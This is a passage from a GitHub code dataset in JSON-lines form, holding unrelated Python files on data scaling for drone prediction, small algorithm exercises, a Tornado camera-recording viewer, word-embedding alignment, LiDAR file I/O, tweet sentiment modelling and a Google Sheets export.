data_scaled[0][:, horizon_step, :] = scaler[0].transform( data[0][:, horizon_step, :] )\n \n # aux = []\n # for other_quad_idx in range(len(data[1])):\n # aux.append( np.zeros_like(data[1][other_quad_idx]) )\n # for horizon_step in range(data[1][other_quad_idx].shape[1]):\n # aux[other_quad_idx][:, horizon_step, :] = scaler[1].transform( data[1][other_quad_idx][:, horizon_step, :] )\n # data_scaled.append(aux)\n \n # TODO: Data structure fix\n for other_quad in range(1, len(data)):\n data_scaled.append( np.zeros_like(data[other_quad]) )\n for horizon_step in range(data[other_quad].shape[1]):\n data_scaled[other_quad][:, horizon_step, :] = scaler[1].transform( data[other_quad][:, horizon_step, :] )\n \n else: # For target data\n data_scaled = np.zeros_like(data)\n for horizon_step in range(data.shape[1]):\n data_scaled[:, horizon_step, :] = scaler.transform(data[:, horizon_step, :])\n \n return data_scaled\n\ndef unscale_output(Y_scaled, scaler):\n Y = np.zeros_like(Y_scaled)\n\n for horizon_step in range(Y_scaled.shape[1]):\n Y[:, horizon_step, :] = scaler.inverse_transform(Y_scaled[:, horizon_step, :])\n\n return Y\n\ndef get_batch(X, Y, batch_size, index):\n X_batch = []\n \n # TODO: Data structure fix\n # X_batch.append(X[0][index:index+batch_size, :, :]) # Query agent state\n # aux = []\n # for other_quad_idx in range(len(X[1])):\n # aux.append( X[1][other_quad_idx][index:index+batch_size, :, :] ) # Other agents' states\n # X_batch.append( X[1][other_quad_idx][index:index+batch_size, :, :] ) # Other agents' states\n # X_batch.append(aux)\n \n for quad_idx in range(len(X)):\n X_batch.append( X[quad_idx][index:index+batch_size, :, :] ) # Other agents' states\n \n Y_batch = Y[index:index+batch_size, :, :]\n \n return X_batch, Y_batch\n ","repo_name":"FMartinezClaramunt/drone_prediction_network2","sub_path":"src/utils/data_handler_v2.py","file_name":"data_handler_v2.py","file_ext":"py","file_size_in_byte":10769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33119451000","text":"odd_num = int(input(\"Enter an odd number greater than 1 : \"))\n\ndef find_factorial(number):\n factorial = 1\n for i in range(number):\n factorial = factorial*(i+1)\n return factorial\n\ndef factorial_division(number):\n result = number/find_factorial(number)\n return result\n\ncounter = 1\nsum = 0\nwhile(counter<=odd_num):\n sum=sum+factorial_division(counter)\n counter=counter+2\n\nprint(sum)","repo_name":"RazikMhd/Programming_Lab_Python_TKM","sub_path":"factorial_division.py","file_name":"factorial_division.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11139062936","text":"def abc(string):\n groups = []\n string = [char for char in string if char in {\"n\", \"c\", \"z\"}]\n if not string: return 0\n current_group = [string[0], 1]\n for char in string[1:]:\n if char not in {\"n\", \"c\", \"z\"}:\n continue\n elif char == current_group[0]:\n current_group[1] += 1\n else:\n groups.append(current_group)\n current_group = [char, 1]\n groups.append(current_group)\n result = sum(len(group) for group in groups)\n for mark_c in range(len(groups)):\n for mark_z in range(mark_c + 1, len(groups)):\n x = 0\n for i, group in enumerate(groups):\n if i < mark_c and group[0] != \"n\":\n x += group[1]\n elif mark_c <= i < mark_z and group[0] != \"c\":\n x += group[1]\n elif mark_z < i and group[0] != \"z\":\n x += group[1]\n result = min(x, result)\n return result\n\nif __name__ == \"__main__\":\n print(abc('nncnnbffbbbccczzzcz'))\n print(abc('zzzznnnnz'))\n print(abc(\"nnnnnnnnnnnnnncccccccccccccccccccczzzzzzzzzzzzzzzzzzz\" * 100))\n","repo_name":"jbachurski/logia-tryhard-saga","sub_path":"Logia17/Etap 3/abc_n2.py","file_name":"abc_n2.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10846772853","text":"import tornado.ioloop\nimport tornado.web\nimport tornado.escape as es\nimport sys\nimport nvrsym.NvrApi as NvrApi\n\n# Displays a list of cameras\nclass MainHandler(tornado.web.RequestHandler):\n\n def get(self):\n cameras = global_api.getCameraIDs()\n for camid in cameras.keys():\n name = cameras[camid]\n link = \"/camera/?id={id}\".format(id=camid)\n row = \"<div class='cameraName'><a href='{link}'>{name}</a></div>\"\n self.write(row.format(link=link, name=es.xhtml_escape(name)))\n\n# Displays a grid of motion images for a given camera\nclass CameraHandler(tornado.web.RequestHandler):\n\n def get(self):\n cameraID = self.get_argument('id')\n recordingIDs = global_api.getRecordingIDsForCamera(cameraID, 7*86400)\n for recid in recordingIDs:\n path = \"/motion/?id={id}\".format(id=recid)\n row = \"<img width='180' height='100' src='{path}' />\".format(path=path)\n\n vidpath = \"/video/?id={id}\".format(id=recid)\n link = \"<a href='{vidpath}'>{img}</a>\".format(vidpath=vidpath, img=row)\n self.write(link)\n\n# Displays the motion image for a given recording\nclass MotionHandler(tornado.web.RequestHandler):\n\n def get(self):\n recid = self.get_argument('id')\n motion_png = global_api.getRecordingMotion(recid)\n self.set_header('Content-Type', 'image/png')\n self.write(motion_png)\n\n# Proxies the video content for the given recording\nclass VideoHandler(tornado.web.RequestHandler):\n\n def get(self):\n recid = self.get_argument('id')\n tmpfile = global_api.downloadRecording(recid)\n bytes = open(tmpfile, 'rb').read()\n self.set_header('Content-Type', 'video/mp4')\n self.set_header('Content-Length', len(bytes))\n self.write(bytes)\n\ndef get_api():\n key = sys.argv[1]\n host = sys.argv[2]\n api = NvrApi.Api(key, host)\n api.bootstrap()\n\n return api\n\nglobal_api = None\nif __name__ == \"__main__\":\n global_api = get_api()\n application = tornado.web.Application([\n (r\"/\", MainHandler),\n (r\"/camera/\", CameraHandler),\n (r\"/motion/\", MotionHandler),\n (r\"/video/\", VideoHandler),\n ])\n\n\n\n # now start up the app itself\n application.listen(9999)\n tornado.ioloop.IOLoop.instance().start()\n","repo_name":"mkjones/nvr-api","sub_path":"web/VideoReview.py","file_name":"VideoReview.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"71227950595","text":"import random\n\nimport numpy as np\nfrom gensim.models import KeyedVectors\nfrom sklearn.linear_model import LinearRegression\n\n\ndef fit_w2v_regression(model1, model2, sample_size):\n \"\"\"Given two gensim Word2Vec models, fit a regression model using a subset of the vocabulary.\n The size of this subset is given by the samplesize parameter, which can specify either a\n percentage of the common vocab to use, or the number of words to use.\n ::param model1:: a gensim `KeyedVectors` instance for the LHS\n ::param model2:: a gensim `KeyedVectors` instance for the RHS\n ::param sample_size:: a float or int specifying how much of the vocab to use to fit the model.\n ::returns:: a `sklearn.linear_model.LinearRegression` object.\n \"\"\"\n common_vocab = set(model1.vocab.keys()).intersection(set(model2.vocab.keys()))\n if \"</s>\" in common_vocab:\n common_vocab.remove(\"</s>\")\n if type(sample_size) == float:\n sample_size = int(sample_size * len(common_vocab))\n try:\n d1 = model1.vector_size\n except AttributeError:\n d1 = None\n if d1 is None:\n d1 = model1.syn0.shape[1]\n try:\n d2 = model2.vector_size\n except AttributeError:\n d2 = None\n if d2 is None:\n d2 = model2.syn0.shape[1]\n sample = random.sample(common_vocab, sample_size)\n X = np.ndarray((sample_size, d1), dtype=np.float32)\n Y = np.ndarray((sample_size, d2), dtype=np.float32)\n for i, word in enumerate(sample):\n X[i, :] = model1[word]\n Y[i, :] = model2[word]\n regression = LinearRegression()\n regression.fit(X, Y)\n return regression\n\n\ndef apply_w2v_regression(model, regression):\n \"\"\"Given a word2vec model and a linear regression, apply that regression to all the vectors\n in the model.\n ::param model:: A gensim `KeyedVectors` or `Word2Vec` instance\n ::param regression:: A `sklearn.linear_model.LinearRegression` instance\n ::returns:: A gensim `KeyedVectors` instance\n \"\"\"\n aligned_model = KeyedVectors() # Word2Vec()\n aligned_model.vocab = model.vocab.copy()\n aligned_model.vector_size = model.vector_size\n aligned_model.index2word = model.index2word\n # aligned_model.reset_weights()\n aligned_model.syn0 = regression.predict(model.syn0).astype(np.float32)\n return aligned_model\n\n\ndef align_embeddings(base_embed, other_embed, sample_size=1):\n \"\"\"Fit the regression that aligns model1 and model2.\"\"\"\n regression = fit_w2v_regression(base_embed, other_embed, sample_size)\n aligned_model = apply_w2v_regression(base_embed, regression)\n return aligned_model\n","repo_name":"guyrosin/generating_timelines","sub_path":"linear_regression_alignment.py","file_name":"linear_regression_alignment.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"17588849039","text":"#%%\nimport os\nimport numpy as np\nimport pandas as pd\nimport xml.etree.ElementTree as ET\n\nimport sys\n\n\nfrom es_utils.pdf import average_range\n\nsalient_dir = 'input_data'\n\ncsv_fns = [f for f in os.listdir(salient_dir) if '.csv' in f]\ncsv_fps = [os.path.join(salient_dir, fn) for fn in csv_fns]\n\n# %%\ndfs = [pd.read_csv(fp) for fp in csv_fps]\nlen(dfs)\n#%%\n\ndf = dfs[0]\n\n\n#%%\n\ndfs_all = []\n\nfor fp in csv_fps[:]:\n\n\n xml_path = fp.replace('salient.csv','meta.xml')\n\n\n tree = ET.parse(xml_path)\n\n root = tree.getroot()\n\n attr_labels = []\n attr_defs = []\n\n for attr in root.iter('attr'):\n attr_labels.append(attr[0].text.strip())\n attr_defs.append(attr[1].text.strip())\n\n s_attrs = pd.Series(attr_defs, index=attr_labels)\n s_attrs.index\n\n\n df = pd.read_csv(fp)\n\n df = df.rename({\n 'Commodity':'commodity',\n 'Year': 'year'\n }, axis=1)\n\n fn = os.path.split(fp)[1]\n if fn == 'mcs2022-sulfu_salient.csv':\n df = df.rename(columns={'Price_Sulfur_dtdt': 'Price_Sulfur_dt'})\n\n price_cols = [col for col in df.columns if 'Price' in col]\n if len(price_cols):\n\n\n\n try:\n s_desc = s_attrs[price_cols]\n except KeyError:\n print(fp)\n continue\n\n dfs_prices = []\n for col in price_cols:\n df_temp = df[[col, 'year','commodity']]\n df_temp = df_temp.rename({col:'price'}, axis=1)\n df_temp['extra_info'] = col.replace('Price_','').replace('_Price', '')\n # df_temp['extra_info'] = df_temp['price_info'].str.removeprefix('_Price')\n\n df_temp['price_desc'] = s_attrs[col]\n dfs_prices.append(df_temp)\n\n df = pd.concat(dfs_prices) \n\n\n dfs_all.append(df[['price', 'extra_info','commodity', 'year', 'price_desc']])\n\n else:\n print(\"No price columns for {}\".format(fp))\n\ndf_prices = pd.concat(dfs_all).reset_index(drop=True)\n\n\ndf_prices['price'] = df_prices['price'].astype(str).str.strip()\ndf_prices['price'] = df_prices['price'].apply(average_range)\n\ndf_prices['price'] = df_prices['price'].str.replace(\"Variable, depending on type of product\", \"\")\ndf_prices['price'] = df_prices['price'].replace('',np.nan).replace('XX',np.nan)\ndf_prices['price'].astype(float)\n\n#%%\n\nprice_units = ['ctslb','dlb','dkg','kg','dt','dst','dlb','dct','Index', 't', 'df', 'dto', 'dtoz','dg']\n\nunits_regex = \"|\".join(price_units)\npat_1 = '^({})$'.format(units_regex)\npat_2 = '^({})_'.format(units_regex)\npat_3 = '_({})$'.format(units_regex)\n\nprice_units_1 = df_prices['extra_info'].str.extract(pat_1).dropna()\ndf_prices['extra_info'] = df_prices['extra_info'].str.replace(pat_1,'', regex=True)\n\nprice_units_2 = df_prices['extra_info'].str.extract(pat_2).dropna()\ndf_prices['extra_info'] = df_prices['extra_info'].str.replace(pat_2,'', regex=True)\n\nprice_units_3 = df_prices['extra_info'].str.extract(pat_3).dropna()\ndf_prices['extra_info'] = df_prices['extra_info'].str.replace(pat_3,'', regex=True)\n# price_units_2\n#%%\n\nprice_units = pd.concat([price_units_1, price_units_2, price_units_3])\n\ndf_prices['price_units'] = price_units\n\n#%%\n\n#This range appears to be incorrectly labeled 'dt'\ndf_prices.loc[710:719]['price_units'] = 'dkg'\n\n#%%\n\n\ndf_prices['original_name'] = df_prices['commodity'] + ' ' + df_prices['extra_info']\n\ndf_prices = df_prices[['original_name','commodity','extra_info','price','price_units','year','price_desc']]\n\ndf_prices.to_csv('output/extracted.csv')\n# %%\n\n# %%\n","repo_name":"energy-storage-analysis/LDES-Survey","sub_path":"cap_cost/datasets/gov/USGS/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1288904397","text":"from RPi import GPIO\nimport sys\n\nPIN = 24\n\nGPIO.setmode(GPIO.BCM)\n# NB: This script will re-setup the pin each time\nGPIO.setwarnings(False)\nGPIO.setup(PIN, GPIO.OUT)\n\n\ndef on(pin=PIN):\n GPIO.output(pin, 1)\n\n\ndef off(pin=PIN):\n GPIO.output(pin, 0)\n\n\nif __name__ == '__main__':\n if sys.argv[1] == 'on':\n on()\n elif sys.argv[1] == 'off':\n off()\n else:\n raise ValueError('Unrecognized argument: {}'.format(sys.argv[1]))\n","repo_name":"jtmoulia/cupie","sub_path":"cupie/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23564442001","text":"import math\n\n\ndef is_tidy(num, lower_bound):\n\tif len(num) == 0:\n\t\treturn True\n\tfor el in num:\n\t\tif el < lower_bound:\n\t\t\treturn False\n\t\tlower_bound = el\n\treturn True\n\ndef largest_of_length(n):\n\treturn [9]*n\n\ndef find_first(num):\n\tidx = -1\n\tfor i in range(1, len(num)):\n\t\tif num[i] < num[i-1]:\n\t\t\tidx = i-1\n\t\t\tbreak\n\n\tif idx == -1:\n\t\treturn num\n\n\tif idx == 0:\n\t\treturn [num[0]-1] + [9]*(len(num)-1)\n\n\n\tl_idx = idx-1\n\twhile l_idx >= 0 and num[l_idx] > num[idx]-1:\n\t\tl_idx -= 1\n\n\tif l_idx == -1:\n\t\treturn [num[0]-1] + [9]*(len(num)-1)\n\n\treturn num[:l_idx+1] + [num[idx]-1]*(idx-l_idx) + [9]*(len(num)-idx-1)\n\n\t\t\n\n\ndef convert_to_list(n):\n\tret = []\n\twhile n > 0:\n\t\tret.append(n % 10)\n\t\tn = int(n / 10)\n\treturn [ret[x] for x in range(len(ret)-1, -1, -1)]\n\ndef reverse_list(l):\n\tret = []\n\tfor idx in range(len(l)-1, -1, -1):\n\t\tret.append(l[idx])\n\treturn ret\n\ndef solve(n):\n\tnum = reverse_list(find_first(convert_to_list(n)))\n\n\tfin_ans = 0\n\tlast_pow = 1\n\n\tfor el in num:\n\t\tfin_ans += el*last_pow\n\t\tlast_pow *= 10\n\n\treturn fin_ans\n\ndef main():\n\tf = open(\"test_small.in\", \"r\")\n\tlines = f.readlines()\n\tt = int(lines[0].rstrip('\\n'))\n\n\tfor case in range(t):\n\t\tsol = solve(int(lines[case+1].rstrip('\\n')))\n\t\tprint(\"Case #%d: %d\" %(case+1, sol))\n\nif __name__ == \"__main__\":\n\t# f = open(\"testcase.in\", \"r\")\n\tmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/5396.py","file_name":"5396.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22394151995","text":"\"\"\"\nfileIoUtil \nHandles the file operations to get and save labels and bins\n\n@Date 6/23/22\n\"\"\"\n\nimport numpy as np\nimport os\nimport glob\n\n\n# --------------------------------------------------------------------------\n# SAVE\n\n\n\"\"\"\nSaves a modified bin file and label file\nRejoins xyz & intensity for bin file \nRejoins semantics & instance for label file \n\"\"\"\ndef saveBinLabelPair(xyz, intensity, semantics, instances, saveBinPath, saveLabelPath, fileName):\n\n # Combine labels\n labelsCombined = (instances << 16) | (semantics & 0xFFFF)\n\n # Combine bin\n xyzi = np.c_[xyz, intensity]\n xyziFlat = xyzi.flatten()\n\n # Create the file path to save\n binFile = saveBinPath + fileName + \".bin\"\n labelFile = saveLabelPath + fileName + \".label\"\n\n # Make sure the type is correct before it is saved\n xyziFlat = xyziFlat.astype(np.float32)\n labelsCombined = labelsCombined.astype(np.int32)\n\n # Save\n xyziFlat.tofile(binFile)\n labelsCombined.tofile(labelFile)\n\n\n\ndef saveLabelSemantics(semantics, saveLabelPath, fileName):\n # Create empty instances\n instances = np.zeros(np.shape(semantics)[0], np.int32)\n\n # Combine labels\n labelsCombined = (instances << 16) | (semantics & 0xFFFF)\n\n # Create the file path to save\n labelFile = saveLabelPath + fileName + \".label\"\n\n # Make sure the type is correct before it is saved\n labelsCombined = labelsCombined.astype(np.int32)\n\n # Save\n labelsCombined.tofile(labelFile)\n\n\n\n# --------------------------------------------------------------------------\n# OPEN\n\n\n\"\"\"\nopenLabelBin\nFor a specific sequence and scene\nOpens a bin and label file splitting between xyz, intensity, semantics, instances \n\"\"\"\ndef openLabelBin(pathVel, pathLabel, sequence, scene):\n\n folderNum = str(sequence).rjust(2, '0')\n currPathVel = pathVel + \"/\" + folderNum\n currPathLbl = pathLabel + \"/\" + folderNum\n\n binFile = currPathVel + \"/velodyne/\" + scene + \".bin\"\n labelFile = currPathLbl + \"/labels/\" + scene + \".label\"\n\n return openLabelBinFiles(binFile, labelFile)\n\n\n\n\"\"\"\nopenLabelBinFiles\nOpens a bin and label file splitting between xyz, intensity, semantics, instances \n\"\"\"\ndef openLabelBinFiles(binFile, labelFile):\n # Label\n semantics, instances = openLabelFile(labelFile)\n\n # Bin File\n pcdArr = np.fromfile(binFile, dtype=np.float32)\n pcdArr = pcdArr.reshape((int(np.shape(pcdArr)[0]) // 4, 4))\n \n intensity = pcdArr[:, 3]\n pcdArr = np.delete(pcdArr, 3, 1)\n\n return pcdArr, intensity, semantics, instances\n\n\n\n\"\"\"\nopenLabelBin\nFor a specific sequence and scene\nOpens a bin and label file splitting between xyz, intensity, semantics, instances \n\"\"\"\ndef openLabel(pathLabel, sequence, scene):\n\n folderNum = str(sequence).rjust(2, '0')\n currPathLbl = pathLabel + \"/\" + folderNum\n\n labelFile = currPathLbl + \"/labels/\" + scene + \".label\"\n\n return openLabelFile(labelFile)\n\n\n\n\n\"\"\"\nopenLabelBin\nFor a specific sequence and scene\nOpens a bin and label file splitting between xyz, intensity, semantics, instances \n\"\"\"\ndef openLabelFile(labelFile):\n # Label\n label_arr = np.fromfile(labelFile, dtype=np.int32)\n semantics = label_arr & 0xFFFF\n instances = label_arr >> 16 \n\n return semantics, instances\n\n\n\n\n\n\"\"\"\nopenModelLabels\nOpens the model label prediction file\n\"\"\"\ndef openModelPredictions(modelPath, model, sequence, scene):\n \n folderNum = str(sequence).rjust(2, '0')\n predFile = modelPath + \"/\" + folderNum + \"/\" + model + \"/\" + scene + \".label\"\n\n # Get Model's Prediction\n prediction, _ = openLabelFile(predFile)\n\n return prediction\n\n\n\n\n\"\"\"\nSetup step to get all scenes scan / label paths\n\"\"\"\ndef getBinsLabels(binPath, labelPath):\n\n binFiles = []\n labelFiles = []\n \n for sequenceNum in range(0, 11):\n \n folderNum = str(sequenceNum).rjust(2, '0')\n currBinPath = binPath + \"/\" + folderNum\n currLabelPath = labelPath + \"/\" + folderNum\n\n binFilesSequence = np.array(glob.glob(currBinPath + \"/velodyne/*.bin\", recursive = True))\n labelFilesSequence = np.array(glob.glob(currLabelPath + \"/labels/*.label\", recursive = True))\n \n # Sort\n labelFilesSequence = sorted(labelFilesSequence)\n binFilesSequence = sorted(binFilesSequence)\n \n for labelFile in labelFilesSequence:\n labelFiles.append(labelFile)\n \n for binFile in binFilesSequence:\n binFiles.append(binFile)\n\n return binFiles, labelFiles\n\n\n\n# --------------------------------------------------------------------------\n# DELETE\n\n \n\n\"\"\"\nAttempts to remove files\n\"\"\"\ndef removeFiles(files):\n for file in files:\n try:\n os.remove(file)\n except OSError:\n print(\"File {} not found when calling remove\".format(file))\n\n\n\n\n\n\n\n\n","repo_name":"less-lab-uva/semLidarFuzz","sub_path":"tool/genLidarTestTool/data/fileIoUtil.py","file_name":"fileIoUtil.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"3148399172","text":"s = input()\nt = input()\nps = 0\npt = 0\nwhile True:\n if t[pt] == s[ps]:\n pt += 1\n ps += 1\n if pt == len(t):\n print(\"YES\")\n break\n if ps == len(s):\n print(\"NO\")\n break","repo_name":"SongJungHyun1004/Coding_Test","sub_path":"03주차/비밀 문자열.py","file_name":"비밀 문자열.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28164169718","text":"import atleto_data as atl\nimport datetime as dt\nimport argparse\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport gspread\nfrom gspread_dataframe import set_with_dataframe\n\n\ndef parse_args():\n\n parser = argparse.ArgumentParser(description='Python Atleto')\n\n parser.add_argument('-i','--input',default='../website/atleto/data/atleto_data.atl',required=False,help='Name of the text file containing the 3D points in XYZ (required)')\n parser.add_argument('-s','--startdate',default='1900-01-01',required=False,help='Start date formatted as YYYY-MM-DD (default is 1900-01-01')\n parser.add_argument('-e','--enddate',default='2100-01-01',required=False,help='End date formatted as YYYY-MM-DD (default is 2100-01-01')\n\n return parser.parse_args()\n\n\ndef write2sheet( df, worksheet):\n\n\n # quthorize the Google API\n scope = [\n 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/drive.file'\n ]\n \n file_name = 'client_key.json'\n creds = ServiceAccountCredentials.from_json_keyfile_name( file_name, scope)\n client = gspread.authorize( creds)\n\n spreadsheet = client.open( 'atleto_data')\n\n ws = spreadsheet.worksheet( worksheet)\n\n# df = df.fillna('')\n print( df)\n# ws.update( 'A2:A', df['Weight'].tolist())\n set_with_dataframe( ws, df)\n# d2g.upload( df, spreadsheet_key, worksheet, start_cell='A2', credentials=credentials,\n# clean=False, col_names=False, row_names=True) #, df_size=True)\n\n\ndef main():\n args = parse_args()\n\n sd = dt.datetime.strptime( args.startdate, '%Y-%m-%d')\n ed = dt.datetime.strptime( args.enddate, '%Y-%m-%d')\n\n print( 'start date:', sd)\n print( ' end date:', ed)\n\n a = atl.atleto( args.input, sd, ed)\n\n print( 'Writing Days...')\n days = a.aggregate()\n write2sheet( days, 'Days')\n\n print( 'Writing Weeks...')\n weeks = a.aggregate( 'W')\n write2sheet( weeks, 'Weeks')\n\n print( 'Writing Months...')\n months = a.aggregate( 'M')\n write2sheet( months, 'Months')\n\n print( 'Writing Years...')\n years = a.aggregate( 'A')\n write2sheet( years, 'Years')\n\n print( 'Writing Runs...')\n df = a.runs( sd, ed)\n write2sheet( df, 'Runs')\n\n print( '...cmpleted')\n\nif __name__ == \"__main__\":\n main()","repo_name":"boffyflow/atleto","sub_path":"python/a2sheets.py","file_name":"a2sheets.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3215923489","text":"\"\"\"\nHere are the default parameters used in all the package\nThere are 1.path 2.filenames 3.learning parameters\n\"\"\"\nimport os\n\n#\n# ALL DEFAULT PATH\n#\n\n\ndef path_builder(base_path):\n folders = [\n os.path.join(base_path, relative) for relative in [\n 'set/',\n 'reduced/',\n 'models/',\n 'graph/',\n 'cache/',\n 'saved_clusters/',\n ]\n ]\n for folder in folders:\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folders\n\n\n# Build all path from one base\nBASE_PATH = os.path.join(os.path.dirname(__file__), 'data/')\n\n(\n DATA_PATH,\n REDUCED_DATA_PATH,\n MODEL_PATH,\n GRAPH_PATH,\n CACHE_PATH,\n SAVED_CLUSTERS_PATH,\n) = path_builder(BASE_PATH)\n\n#\n# ALL DEFAULT FILENAME\n#\n\n# File containing data to be t-SNEed\nINPUT_FILE_BASE_NAME = 'preprocessed_inputs_'\nRAW_NAME = 'raw_data_'\n\n# default RN for predictions\nDEFAULT_PREDICTOR = 'predict_'\n\n# PROJECTIONS DATA will have a named generated from the algo projector parameters\n\n# A version is a string added to the end of each filename\nVERSION = 'MNIST_example'\n\n#\n# LEARNING PARAMETERS\n#\n\n# Dimension reduction default parameters :\nDEFAULT_PROJECTOR = 'tsne'\nPROJECTION_DEFAULT_PARAMS = {\n 'tsne': {\n 'perplexity': 50,\n 'learning_rate': 1000,\n 'n_iter': 12000,\n },\n 'pca': {\n 'nb_dimension': 2,\n 'min_ratio_variance_explained': -1,\n },\n}\n\nNAME_VALUE_SEPARATOR = '@@'\nPARAMETERS_SEPARATOR = '#'\n","repo_name":"0011001011/vizuka","sub_path":"vizuka/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"61"} +{"seq_id":"5578937915","text":"import pandas as pd\nimport numpy as np\nimport re\nimport spacy\nfrom collections import Counter\nfrom numpy import log as ln\n\ndef readFile(fileName):\n fileObj = open(fileName, \"r\") #opens the file in read mode\n words = fileObj.read().splitlines() #puts the file into an array\n fileObj.close()\n return words\n\ndata = pd.read_excel('COV_train.xlsx', header=None, engine='openpyxl')\n\nprint(\"Reading the file COV_train.xlsx ...\")\ndata.columns = ['tweet', 'Feeling']\n\npositiveTweets = np.array(data[data['Feeling'] == 'Positive'].iloc[:, 0])\nnegativeTweets = np.array(data[data['Feeling'] == 'Negative'].iloc[:, 0])\n\nprint(\"Reading the Positive and negative vocabulary ...\")\n\npositiveWords = np.array(readFile(\"corpusP.txt\"))\nnegativeWords = np.array(readFile(\"corpusN.txt\"))\nvocabulary = np.array(readFile(\"vocabulario.txt\"))\nvocabulary = np.delete(vocabulary, 0)\n\nprint(\"Printing basic info into model files ...\")\n\n#negativo\n#Numero de documentos (tweets) del corpus: 15398\n#Número de palabras del corpus: 201117\n\n#positivo\n#Numero de documentos (tweets) del corpus: 18046\n#Número de palabras del corpus: 235230\n\npositiveList = Counter(positiveWords.tolist())\nnegativeList = Counter(negativeWords.tolist())\n\nvocabSize = vocabulary.size\n\n# numPosWords = len(positiveList.items())\n# numNegWords = len(negativeList.items())\n\nnumPosWords = positiveWords.size\nnumNegWords = negativeWords.size\n\nposFile = open(\"modelo_lenguaje_P.txt\", \"w+\", encoding='utf-8')\nposFile.write(\"Número de documentos (tweets) del corpus: \" + str(positiveTweets.size))\nposFile.write(\"\\nNúmero de palabras del corpus: \" + str(numPosWords))\n\nnegFile = open(\"modelo_lenguaje_N.txt\", \"w+\", encoding='utf-8')\nnegFile.write(\"Número de documentos (tweets) del corpus: \" + str(negativeTweets.size))\nnegFile.write(\"\\nNúmero de palabras del corpus: \" + str(numNegWords))\n\nprint(\"Computing frequencies ...\")\n\nunkFreq = 0\n\nfor word in vocabulary:\n \n posFreq = 0\n negFreq = 0\n\n if word in positiveList:\n posFreq = positiveList[word]\n\n if word in negativeList:\n negFreq = negativeList[word]\n\n if ((posFreq + negFreq) > 3):\n probabilityPos = ln(posFreq + 1) - ln(numPosWords + vocabSize)\n probabilityNeg = ln(negFreq + 1) - ln(numNegWords + vocabSize)\n\n posFile.write(\"\\nPalabra: \" + word + \" Frec: \" + str(posFreq) + \" lnProb: \" + str(round(probabilityPos, 2))) \n negFile.write(\"\\nPalabra: \" + word + \" Frec: \" + str(negFreq) + \" lnProb: \" + str(round(probabilityNeg, 2)))\n\n else:\n unkFreq += posFreq + negFreq\n\nunkPosProb = ln(unkFreq + 1) - ln(numPosWords + vocabSize)\nposFile.write(\"\\nPalabra: UNK\" + \" Frec: \" + str(unkFreq) + \" lnProb: \" + str(round(unkPosProb, 2)))\n\nunkNegProb = ln(unkFreq + 1) - ln(numNegWords + vocabSize)\nnegFile.write(\"\\nPalabra: UNK\" + \" Frec: \" + str(unkFreq) + \" lnProb: \" + str(round(unkNegProb, 2)))\n\nposFile.close()\nnegFile.close()","repo_name":"alu0101325583/NPL-spacy","sub_path":"aprendizaje.py","file_name":"aprendizaje.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34459041533","text":"import asyncio\nfrom datetime import datetime\nimport gspread\nimport xlsxwriter\nimport subprocess\nimport oauth2client.service_account\n\nmyScope = ['https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive']\nmyCreds = oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name('./googleCred.json', myScope)\n\nclient = gspread.authorize(myCreds)\nspreadsheet = client.open_by_key('1JHLliHqIdwHoK-gaRta-XQIlPlFeaDVaihHdwFWTdJI')\n\nimport jpype\nimport asposecells\njpype.startJVM()\nfrom asposecells.api import Workbook, FileFormatType\n\n\"\"\"\nExport Excel To SpreadSheet\nRefrence : https://blog.aspose.com/cells/export-excel-data-to-google-sheets-in-python/\n\nInstall Java\nRefrence : https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/How-do-I-install-Java-on-Ubuntu\n\"\"\"\n\ndef export_xlsx_to_spreadsheet():\n # Load Excel workbook\n wb = Workbook()\n\n # Get worksheets collection\n collection = wb.getWorksheets()\n collectionCount = collection.getCount()\n\n # Get workbook and first sheet's name\n spreadsheetName = wb.getFileName()\n firstSheetName = collection.get(0).getName()\n\n\n\n# async def create_portfolio_xlsx(risk_profile, heading_keys, portfolio_stock_list):\n# risk_profile = \"High Risk\"\n# today_date = datetime.now().date().strftime(\"%d %b, %Y\")\n#\n# worksheet = spreadsheet.get_worksheet(3)\n#\n# worksheet.update_cell(1, 2, today_date)\n# worksheet.update_cell(2, 2, risk_profile)\n# heading_row = 4\n# heading_column = 1\n# for heading in heading_keys:\n# worksheet.update_cell(heading_row, heading_column, heading)\n# heading_column += 1\n#\n# row = 5\n# outer_col = 